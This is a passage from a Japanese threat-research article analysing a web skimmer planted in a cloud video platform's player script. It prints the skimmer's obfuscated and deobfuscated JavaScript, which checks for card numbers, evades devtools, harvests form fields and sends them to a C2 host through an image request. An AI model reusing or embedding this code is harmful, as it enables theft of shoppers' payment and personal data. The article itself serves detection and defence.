0 "replace" 1 "test" 2 "length" 3 "charAt" 4 "isOpen" 5 "orientation" 6 "dispatchEvent" 7 "outerWidth" 8 "innerWidth" 9 "outerHeight" 10 "innerHeight" 11 "vertical" 12 "horizontal" 13 "Firebug" 14 "chrome" 15 "isInitialized" 16 "undefined" 17 "exports" 18 "devtools" 19 "hashCode" 20 "charCodeAt" 21 "Gate" 22 "Data" 23 "SaveParam" 24 "SaveAllFields" 25 "input" 26 "select" 27 "textarea" 28 "SendData" 29 "TrySend" 30 "IMG" 31 "GetImageUrl" 32 "?reff=" 33 "onreadystatechange" 34 "readyState" 35 "complete" 36 "setInterval"

|-------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | 0 "replace" 1 "test" 2 "length" 3 "charAt" 4 "isOpen" 5 "orientation" 6 "dispatchEvent" 7 "outerWidth" 8 "innerWidth" 9 "outerHeight" 10 "innerHeight" 11 "vertical" 12 "horizontal" 13 "Firebug" 14 "chrome" 15 "isInitialized" 16 "undefined" 17 "exports" 18 "devtools" 19 "hashCode" 20 "charCodeAt" 21 "Gate" 22 "Data" 23 "SaveParam" 24 "SaveAllFields" 25 "input" 26 "select" 27 "textarea" 28 "SendData" 29 "TrySend" 30 "IMG" 31 "GetImageUrl" 32 "?reff=" 33 "onreadystatechange" 34 "readyState" 35 "complete" 36 "setInterval" |

### スキマーコード パート2

function c(e, t, r) { return e\[l("0x0")\](new RegExp(t, "g"), r) } function d(e) { var t = /^(?:4\[0-9\]{12}(?:\[0-9\]{3})?)$/; var r = /^(?:5\[1-5\]\[0-9\]{14})$/; var i = /^(?:3\[47\]\[0-9\]{13})$/; var n = /^(?:6(?:011|5\[0-9\]\[0-9\])\[0-9\]{12})$/; var a = !\[\]; if (t\["test"\](e)) { a = !!\[\] } else if (r\[l("0x1")\](e)) { a = !!\[\] } else if (i\[l("0x1")\](e)) { a = !!\[\] } else if (n\[l("0x1")\](e)) { a = !!\[\] } return a } function f(e) { if (/\[^0-9-\\s\]+/ \["test"\](e)) return !\[\]; var t = 0, r = 0, i = !\[\]; e = e\[l("0x0")\](/\\D/g, ""); for (var n = e\[l("0x2")\] - 1; n \>= 0; n--) { var a = e\[l("0x3")\](n), r = parseInt(a, 10); if (i) { if ((r \*= 2) \> 9) r -= 9 } t += r; i = !i } return t % 10 == 0 }

|-------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | function c(e, t, r) { return e\[l("0x0")\](new RegExp(t, "g"), r) } function d(e) { var t = /^(?:4\[0-9\]{12}(?:\[0-9\]{3})?)$/; var r = /^(?:5\[1-5\]\[0-9\]{14})$/; var i = /^(?:3\[47\]\[0-9\]{13})$/; var n = /^(?:6(?:011|5\[0-9\]\[0-9\])\[0-9\]{12})$/; var a = !\[\]; if (t\["test"\](e)) { a = !!\[\] } else if (r\[l("0x1")\](e)) { a = !!\[\] } else if (i\[l("0x1")\](e)) { a = !!\[\] } else if (n\[l("0x1")\](e)) { a = !!\[\] } return a } function f(e) { if (/\[^0-9-\\s\]+/ \["test"\](e)) return !\[\]; var t = 0, r = 0, i = !\[\]; e = e\[l("0x0")\](/\\D/g, ""); for (var n = e\[l("0x2")\] - 1; n \>= 0; n--) { var a = e\[l("0x3")\](n), r = parseInt(a, 10); if (i) { if ((r \*= 2) \> 9) r -= 9 } t += r; i = !i } return t % 10 == 0 } |

パート2では関数を3つ定義しています。

1. 関数cは、文字列を正規表現パターンで置き換えるために使用されます。
2. 関数dは、文字列がクレジットカードのパターンに一致するかどうかを検証するために使用されます。これは4つの正規表現パターンを使用していることがわかります。
3. 関数fは、クレジットカードの番号を[Luhnアルゴリズム](https://ja.wikipedia.org/wiki/Luhn%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0)で検証するために使用されます。

### スキマーコード パート3

(function() { "use strict"; const t = {}; t\[l("0x4")\] = !\[\]; t\[l("0x5")\] = undefined; const r = 160; const i = (t, r) =\> { e\[l("0x6")\](new CustomEvent("devtoolschange", { detail: { isOpen: t, orientation: r } })) }; setInterval(() =\> { const n = e\[l("0x7")\] - e\[l("0x8")\] \> r; const a = e\[l("0x9")\] - e\[l("0xa")\] \> r; const s = n ?l("0xb") : l("0xc"); if (!(a \&\& n) \&\& (e\[l("0xd")\] \&\& e\["Firebug"\]\[l("0xe")\] \&\& e\[l("0xd")\]\["chrome"\]\[l("0xf")\] || n || a)) { if (!t\["isOpen"\] || t\[l("0x5")\] !== s) { i(!!\[\], s) } t\["isOpen"\] = !!\[\]; t\["orientation"\] = s } else { if (t\[l("0x4")\]) { i(!\[\], undefined) } t\["isOpen"\] = !\[\]; t\[l("0x5")\] = undefined } }, 500); if (typeof module !== l("0x10") \&\& module\[l("0x11")\]) { module\[l("0x11")\] = t } else { e\[l("0x12")\] = t } })();

|----------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | (function() { "use strict"; const t = {}; t\[l("0x4")\] = !\[\]; t\[l("0x5")\] = undefined; const r = 160; const i = (t, r) =\> { e\[l("0x6")\](new CustomEvent("devtoolschange", { detail: { isOpen: t, orientation: r } })) }; setInterval(() =\> { const n = e\[l("0x7")\] - e\[l("0x8")\] \> r; const a = e\[l("0x9")\] - e\[l("0xa")\] \> r; const s = n ?l("0xb") : l("0xc"); if (!(a \&\& n) \&\& (e\[l("0xd")\] \&\& e\["Firebug"\]\[l("0xe")\] \&\& e\[l("0xd")\]\["chrome"\]\[l("0xf")\] || n || a)) { if (!t\["isOpen"\] || t\[l("0x5")\] !== s) { i(!!\[\], s) } t\["isOpen"\] = !!\[\]; t\["orientation"\] = s } else { if (t\[l("0x4")\]) { i(!\[\], undefined) } t\["isOpen"\] = !\[\]; t\[l("0x5")\] = undefined } }, 500); if (typeof module !== l("0x10") \&\& module\[l("0x11")\]) { module\[l("0x11")\] = t } else { e\[l("0x12")\] = t } })(); |

パート3は、アンチデバッグコードです。復号すると以下のようになります。

var e = { open: !1, orientation: null }; n = 160, o = function(e, n) { window.dispatchEvent(new CustomEvent("devtoolschange", { detail: { open: e, orientation: n } })) }; setInterval(function() { var t = window.outerWidth - window.innerWidth \> n, i = window.outerHeight - window.innerHeight \> n, d = t ?"vertical" : "horizontal"; i \&\& t || !(window.Firebug \&\& window.Firebug.chrome \&\& window.Firebug.chrome.isInitialized || t || i) ?(e.open \&\& o(!1, null), e.open = !1, e.orientation = null) : (e.open \&\& e.orientation === d || o(!0, d), e.open = !0, e.orientation = d) }, 500) "undefined" != typeof module \&\& module.exports ?module.exports = e : window.devtools = e

|----------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | var e = { open: !1, orientation: null }; n = 160, o = function(e, n) { window.dispatchEvent(new CustomEvent("devtoolschange", { detail: { open: e, orientation: n } })) }; setInterval(function() { var t = window.outerWidth - window.innerWidth \> n, i = window.outerHeight - window.innerHeight \> n, d = t ?"vertical" : "horizontal"; i \&\& t || !(window.Firebug \&\& window.Firebug.chrome \&\& window.Firebug.chrome.isInitialized || t || i) ?(e.open \&\& o(!1, null), e.open = !1, e.orientation = null) : (e.open \&\& e.orientation === d || o(!0, d), e.open = !0, e.orientation = d) }, 500) "undefined" != typeof module \&\& module.exports ?module.exports = e : window.devtools = e |

基本的には、window.Firebug、window.Firebug.chrome、window.Firebug.chrome.isInitializedの各変数が存在するかどうかをチェックします。また、devtoolschangeメッセージを送信し、Chromeコンソールが開かれているかどうかをチェックします。

### スキマーコード パート4

String\["prototype"\]\[l("0x13")\] = function() { String\["prototype"\]\[l("0x13")\] = function() { var e = 0, t, r; if (this\[l("0x2")\] === 0) return e; for (t = 0; t \< this\[l("0x2")\]; t++) { r = this\[l("0x14")\](t); e = (e \<\< 5) - e + r; e |= 0 } return e }; var h = {}; h\[l("0x15")\] = "https://cdn-imgcloud\[.\]com/img"; h\[l("0x16")\] = {}; h\["Sent"\] = \[\]; h\["IsValid"\] = !\[\]; h\[l("0x17")\] = function(e) { if (e.id !== undefined \&\& e.id != "" \&\& e.id !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.id\] = e.value; return } if (e.name !== undefined \&\& e.name != "" \&\& e.name !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.name\] = e.value; return } }; h\[l("0x18")\] = function() { var e = t.getElementsByTagName(l("0x19")); var r = t.getElementsByTagName(l("0x1a")); var i = t.getElementsByTagName(l("0x1b")); for (var n = 0; n \< e.length; n++) h.SaveParam(e\[n\]); for (var n = 0; n \< r.length; n++) h.SaveParam(r\[n\]); for (var n = 0; n \< i.length; n++) h.SaveParam(i\[n\]) }; h\[l("0x1c")\] = function() { if (!e.devtools.isOpen \&\& h.IsValid) { h.Data\["Domain"\] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i \< h.Sent.length; i++) if (h.Sent\[i\] == r) return; h.LoadImage(t) } }; h\[l("0x1d")\] = function() { h.SaveAllFields(); h.SendData() }; h\["LoadImage"\] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); r.src = h.GetImageUrl(e) }; h\[l("0x1f")\] = function(e) { return h.Gate + l("0x20") + e }; t\[l("0x21")\] = function() { if (t\[l("0x22")\] === l("0x23")) { e\[l("0x24")\](h\[l("0x1d")\], 500) } };

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | String\["prototype"\]\[l("0x13")\] = function() { String\["prototype"\]\[l("0x13")\] = function() { var e = 0, t, r; if (this\[l("0x2")\] === 0) return e; for (t = 0; t \< this\[l("0x2")\]; t++) { r = this\[l("0x14")\](t); e = (e \<\< 5) - e + r; e |= 0 } return e }; var h = {}; h\[l("0x15")\] = "https://cdn-imgcloud\[.\]com/img"; h\[l("0x16")\] = {}; h\["Sent"\] = \[\]; h\["IsValid"\] = !\[\]; h\[l("0x17")\] = function(e) { if (e.id !== undefined \&\& e.id != "" \&\& e.id !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.id\] = e.value; return } if (e.name !== undefined \&\& e.name != "" \&\& e.name !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.name\] = e.value; return } }; h\[l("0x18")\] = function() { var e = t.getElementsByTagName(l("0x19")); var r = t.getElementsByTagName(l("0x1a")); var i = t.getElementsByTagName(l("0x1b")); for (var n = 0; n \< e.length; n++) h.SaveParam(e\[n\]); for (var n = 0; n \< r.length; n++) h.SaveParam(r\[n\]); for (var n = 0; n \< i.length; n++) h.SaveParam(i\[n\]) }; h\[l("0x1c")\] = function() { if (!e.devtools.isOpen \&\& h.IsValid) { h.Data\["Domain"\] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i \< h.Sent.length; i++) if (h.Sent\[i\] == r) return; h.LoadImage(t) } }; h\[l("0x1d")\] = function() { h.SaveAllFields(); h.SendData() }; h\["LoadImage"\] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); r.src = h.GetImageUrl(e) }; h\[l("0x1f")\] = function(e) { return h.Gate + l("0x20") + e }; t\[l("0x21")\] = function() { if (t\[l("0x22")\] === l("0x23")) { e\[l("0x24")\](h\[l("0x1d")\], 500) } }; |

復号後のコードサンプルは非常にわかりやすいものです。これらのコードスニペットが何をするのか見てみましょう。

以下のコードは、クレジットカードコンテンツの暗号化に使用されるhashCode関数を定義しています。

### コード解析

// l\["0x13"\] == "hashCode", so // l\["0x13"\] == "hashCode" String\["prototype"\]\["0x13"\] = function() { var e = 0, t, r; if (this\[l("0x2")\] === 0) return e; for (t = 0; t \< this\[l("0x2")\]; t++) { r = this\[l("0x14")\](t); e = (e \<\< 5) - e + r; e |= 0 } return e };

|-------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | // l\["0x13"\] == "hashCode", so // l\["0x13"\] == "hashCode" String\["prototype"\]\["0x13"\] = function() { var e = 0, t, r; if (this\[l("0x2")\] === 0) return e; for (t = 0; t \< this\[l("0x2")\]; t++) { r = this\[l("0x14")\](t); e = (e \<\< 5) - e + r; e |= 0 } return e }; |

以下のコードでは、変数Gateと変数Dataを定義しています。変数Dataにはクレジットカード情報が、変数GateにはC2サーバーが保存されています。

var h = {}; h\[l("0x15")\] = "https://cdn-imgcloud\[.\]com/img"; //l("0x15") is "Gate" string h\[l("0x16")\] = {}; // l("0x16") is string "Data" h\["Sent"\] = \[\]; h\["IsValid"\] = !\[\];

|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 | var h = {}; h\[l("0x15")\] = "https://cdn-imgcloud\[.\]com/img"; //l("0x15") is "Gate" string h\[l("0x16")\] = {}; // l("0x16") is string "Data" h\["Sent"\] = \[\]; h\["IsValid"\] = !\[\]; |

以下のコードサンプルからはスキマーがどのようにクレジットカード情報を窃取・送信しているかが明らかになります。ここではそのプロセスを以下のステップに分けました。

1. まず onreadystatechangeを使って、ページの読み込みが完了したかどうかを確認します。その後、TrySend関数を呼び出します。

2. TrySend関数は、SaveAllFields関数を呼び出して、HTMLドキュメントから名前やメールアドレスなどの顧客による入力情報を読み取り、SaveParamを呼び出して、そのデータが有効かどうかをチェックします。有効であれば、この情報をData変数に保存します。

3. 次にTrySend関数はSendData関数を呼び出してデータを送信します。SendData関数はLoadImage関数を呼び出して\<img\>HTMLタグを作成し、この画像のsrcとしてC2のURLを設定します。

//l("0x17") is string "SaveParam" h\["SaveParam"\]: function(elem) { if (e.id !== undefined \&\& e.id != "" \&\& e.id !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.id\] = e.value; return } if (e.name !== undefined \&\& e.name != "" \&\& e.name !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.name\] = e.value; return } } // l("0x18") is string "SaveAllFields" h\["SaveAllFields"\]: function() { var inputs = document.getElementsByTagName("input"); var selects = document.getElementsByTagName("select"); var textareas = document.getElementsByTagName("textarea"); for(var i = 0; i \< inputs.length; i++) h.SaveParam(inputs\[i\]); for(var i = 0; i \< selects.length; i++) h.SaveParam(selects\[i\]); for(var i = 0; i \< textareas.length; i++) h.SaveParam(textareas\[i\]); } // l("0x1c") is string "SendData" h\["SendData"\]: function() { if (!e.devtools.isOpen \&\& h.IsValid) { h.Data\["Domain"\] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i \< h.Sent.length; i++) if (h.Sent\[i\] == r) return; h.LoadImage(t) } }, // l("0x1d") is string "TrySend" h\["TrySend"\] = function() { h.SaveAllFields(); h.SendData() }; h\["LoadImage"\] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); // l("0x1e") is string "IMG" r.src = h.GetImageUrl(e) }; // l("0x1f") is string "GetImageUrl" h\["GetImageUrl"\] = function(e) { return h.Gate + l("0x20") + e }; // l("0x21") is string "onreadystatechange " t\["onreadystatechange"\] = function() { //if(document.readyState === 'complete') if (t\[l("0x22")\] === l("0x23")) { e\[l("0x24")\](h\[l("0x1d")\], 500) // call setInterval(TrySend, 500); } };

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | //l("0x17") is string "SaveParam" h\["SaveParam"\]: function(elem) { if (e.id !== undefined \&\& e.id != "" \&\& e.id !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.id\] = e.value; return } if (e.name !== undefined \&\& e.name != "" \&\& e.name !== null \&\& e.value.length \< 256 \&\& e.value.length \> 0) { if (f(c(c(e.value, "-", ""), " ", "")) \&\& d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !!\[\]; h.Data\[e.name\] = e.value; return } } // l("0x18") is string "SaveAllFields" h\["SaveAllFields"\]: function() { var inputs = document.getElementsByTagName("input"); var selects = document.getElementsByTagName("select"); var textareas = document.getElementsByTagName("textarea"); for(var i = 0; i \< inputs.length; i++) h.SaveParam(inputs\[i\]); for(var i = 0; i \< selects.length; i++) h.SaveParam(selects\[i\]); for(var i = 0; i \< textareas.length; i++) h.SaveParam(textareas\[i\]); } // l("0x1c") is string "SendData" h\["SendData"\]: function() { if (!e.devtools.isOpen \&\& h.IsValid) { h.Data\["Domain"\] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i \< h.Sent.length; i++) if (h.Sent\[i\] == r) return; h.LoadImage(t) } }, // l("0x1d") is string "TrySend" h\["TrySend"\] = function() { h.SaveAllFields(); h.SendData() }; h\["LoadImage"\] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); // l("0x1e") is string "IMG" r.src = h.GetImageUrl(e) }; // l("0x1f") is string "GetImageUrl" h\["GetImageUrl"\] = function(e) { return h.Gate + l("0x20") + e }; // l("0x21") is string "onreadystatechange " t\["onreadystatechange"\] = function() { //if(document.readyState === 'complete') if (t\[l("0x22")\] === l("0x23")) { e\[l("0x24")\](h\[l("0x1d")\], 500) // call setInterval(TrySend, 500); } }; |

## ビデオに含まれる悪意のあるコード

次は、攻撃者がどのような方法でクラウドビデオプラットフォームのプレイヤーに悪意のあるコードを挿入するのかを見てみます。このクラウドプラットフォームでは、JavaScriptファイルをアップロードすることにより、ユーザーがカスタマイズしたプレイヤーを作成できるようにしています。このケースの場合、ユーザーが、上流で悪意のあるコンテンツを含められるようなスクリプトをアップロードしていました。

私たちは、ホストされている場所にある静的なスクリプトをこの攻撃者が変更してスキマーコードを添付したと推測しています。その次のプレイヤー更新時に、このビデオプラットフォームは、侵害されたファイルを再び取り込み、影響を受けたプレイヤーとともに提供しました。

コード解析から、スキマー用のスニペットは、被害者の氏名、電子メール、電話番号などの機微情報を収集し、VirusTotalでも悪意があるとマークされている収集サーバー(https://cdn-imgcloud\[.\]com/img)に送信しようとしていることがわかります。
![今回取り上げたWebスキマーが被害者から収集した機微情報を送信する収集サーバーをVirusTotalが判定した結果](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/12/word-image-21.png) 図3 機微情報の収集サーバーをVirusTotalが判定した結果

## 結論

今回のスキマーキャンペーンでは、悪意あるアクティビティを、スキマースクリプトからソースであるクラウドビデオプラットフォームまで追跡しました。またスキマーキャンペーンで収集したコードスニペットについても深く掘り下げました。

スキマーは非常に変化が早く、捕捉が難しく、絶えず進化しています。クラウド配信プラットフォームと組み合わせれば、この種のスキマーによる影響は甚大です。そのため今回のような攻撃は、「巧妙な戦略を解き明かして根本原因を突き止めることができるか」という難しい挑戦をセキュリティリサーチャーに突きつけることになります。スキマーが使用するドメイン名やURLをブロックするだけでは効果がないことから、この種のスキマーキャンペーンの検知にはより洗練された戦略立案が必要です。

Webサイトの管理者には、あらゆるアカウントの保護、フィッシングやソーシャルエンジニアリングによる窃取の防止、パーミッションの適切な管理が望まれます。またWebコンテンツの整合性チェックを定期的に行うことも強く推奨されます。これにより、Webサイトコンテンツへの悪意のあるコード挿入を検知・防止できます。

パロアルトネットワークスのお客様は、次世代ファイアウォールの[WildFire](https://www.paloaltonetworks.jp/products/secure-the-network/wildfire)および[URL Filtering](https://www.paloaltonetworks.jp/products/threat-detection-and-prevention/web-security)サブスクリプションサービスにより、スキマー(別名フォームジャッキング)攻撃から保護されます。

## IoC

本稿で取り上げたWebスキマー攻撃のIoCは、こちらの[GitHub](https://github.com/pan-unit42/iocs/blob/master/Skimmer_IOC.txt)で確認できます。
トップに戻る

### タグ

* [Formjacking Attack](https://unit42.paloaltonetworks.com/ja/tag/formjacking-attack-ja/ "Formjacking Attack")
* [Web skimmer](https://unit42.paloaltonetworks.com/ja/tag/web-skimmer-ja/ "web skimmer")  
  [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research") [次ページ:戦略的熟成ドメインの検出: DNSトラフィックの傾向から捕捉するAPT攻撃](https://unit42.paloaltonetworks.com/ja/strategically-aged-domain-detection/ "戦略的熟成ドメインの検出: DNSトラフィックの傾向から捕捉するAPT攻撃")

### 目次

* 

### 関連記事

* [インターネット脅威の最新動向: フィッシング攻撃で偽装されやすいセクター、Webスキマーの事例分析 他](https://unit42.paloaltonetworks.com/ja/internet-threats-late-2022/ "article - table of contents")
* [Web脅威の動向 (2022年第2四半期): 悪質なJavaScriptダウンローダの進化](https://unit42.paloaltonetworks.com/ja/web-threats-malicious-javascript-downloader/ "article - table of contents")
* [Web脅威の動向: 古典的Webスキマーいまだ健在](https://unit42.paloaltonetworks.com/ja/web-threat-trends-web-skimmer/ "article - table of contents")

## 関連項目 リソース

![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg)  
[![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年8月6日 [#### ChainDropの脅威の概要:自己増殖型npmワームの内部](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/)

* [Blockchain](https://unit42.paloaltonetworks.com/ja/tag/blockchain-ja/ "blockchain")

* [ChainDrop](https://unit42.paloaltonetworks.com/ja/tag/chaindrop/ "ChainDrop")

* [Claude code](https://unit42.paloaltonetworks.com/ja/tag/claude-code/ "Claude code")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/chaindrop-npm-worm-analysis/ "ChainDropの脅威の概要:自己増殖型npmワームの内部")  
  ![Pictorial representation of the npm packages supply chain attack. Screen displaying code with a prominent alert symbol and the words 'VIRUS DETECTED' highlighted in red.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/05_Malware_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年6月2日 [#### npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/)

* [Credential Harvesting](https://unit42.paloaltonetworks.com/ja/tag/credential-harvesting-ja/ "Credential Harvesting")

* [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub")

* [Npm packages](https://unit42.paloaltonetworks.com/ja/tag/npm-packages/ "npm packages")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/monitoring-npm-supply-chain-attacks/ "npmの脅威の状況: アタックサーフェスと緩和策(6月2日更新)")  
  ![Pictorial representation of Screening Serpens. An illustrated blue snake is highlighted by a red circle against a night sky. The constellation serpens.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/Serpens-Iran-A-1920x900-2-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2026年5月22日 [#### イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/)

* [Advanced Persistent Threat](https://unit42.paloaltonetworks.com/ja/tag/advanced-persistent-threat-ja/ "Advanced Persistent Threat")

* [AppDomainManager](https://unit42.paloaltonetworks.com/ja/tag/appdomainmanager/ "AppDomainManager")

* [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/tracking-iran-apt-screening-serpens/ "イランAPT Screening Serpensによる2026年スパイ キャンペーンの追跡")  
  ![Pictorial representation of Iran cyber attacks. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/12_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月17日 [#### 脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/)

* [APK](https://unit42.paloaltonetworks.com/ja/tag/apk-ja/ "APK")

* [DDoS attacks](https://unit42.paloaltonetworks.com/ja/tag/ddos-attacks-ja/ "DDoS attacks")

* [GenAI](https://unit42.paloaltonetworks.com/ja/tag/genai-ja/ "GenAI")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/iranian-cyberattacks-2026/ "脅威情報: 2026年イランに関するサイバー リスクの激化(4月17日更新)")  
  ![Pictorial representation of the supply chain attack compromising Axios. A giant eye made of glowing binary code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/02_Security-Technology_Category_1920x900-786x368.jpg)  
